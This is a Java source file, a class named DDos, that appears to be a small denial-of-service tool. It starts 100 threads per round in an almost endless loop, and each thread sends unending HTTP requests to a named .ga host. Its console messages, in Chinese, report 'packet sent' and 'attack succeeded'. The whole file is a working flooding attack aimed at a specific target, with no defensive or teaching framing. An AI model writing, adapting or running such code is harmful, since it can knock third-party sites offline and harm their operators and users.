package com.gome.ocean;

import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

import org.apache.commons.lang.math.RandomUtils;

public class DDos {
	public DDos() {
	}

	public static void main(String[] args) {

		for (int j = 0; j < Integer.MAX_VALUE; j++) {
			ExecutorService es = Executors.newFixedThreadPool(100);
			for (int i = 0; i < 100; i++) {
				Mythread mythread = new Mythread();
				es.execute(mythread);
			}

			try {
				es.shutdownNow();
				Thread.sleep(5000L);
			} catch (InterruptedException e) {
				e.printStackTrace();
			}

		}

	}
}

class Mythread implements Runnable {
	final static byte[] bytes = new byte[RandomUtils.nextInt(1024)];

	public void run() {
		while (true) {
			try {
//				URL url = new URL("http://nividbsmundnu.afsarahadf.ga/index.php/home/index/load");
				URL url = new URL("http://nividbsmundnu.afsarahadf.ga/index.php");
				URLConnection conn = url.openConnection();
				System.out.println("发包成功！");
				BufferedInputStream bis = new BufferedInputStream(conn.getInputStream());

				int len = -1;
				StringBuffer sb = new StringBuffer();

				if (bis != null) {
					if ((len = bis.read()) != -1) {
						sb.append(new String(bytes, 0, len));
						System.out.println("攻击成功！");
						bis.close();
					}
				}
			} catch (MalformedURLException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			} catch (IOException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			}

		}
	}
}